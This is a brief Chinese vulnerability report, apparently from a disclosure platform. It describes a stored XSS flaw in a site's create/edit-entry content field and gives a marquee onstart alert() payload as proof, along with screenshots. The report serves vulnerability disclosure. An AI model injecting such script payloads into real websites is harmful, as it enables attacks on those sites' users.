### 简要描述：
创建或编辑词条 存储型xss
### 详细说明：
内容处 抓包填写数据包:
```
<marquee onstart="alert('xss')"></marquee>
```
### 漏洞证明：
内容处 抓包填写数据包:
```
<marquee onstart="alert('xss')"></marquee>
```
[<img src="https://images.seebug.org/upload/201402/240255276e2844b86f6cd90ef009053b3ecf9d41.png" alt=".PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/240255276e2844b86f6cd90ef009053b3ecf9d41.png)
[<img src="https://images.seebug.org/upload/201402/240255450ad366e8065b1fe43a090b358bdc4b76.png" alt="1.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/240255450ad366e8065b1fe43a090b358bdc4b76.png)
京公网安备 11010502034610号
暂无评论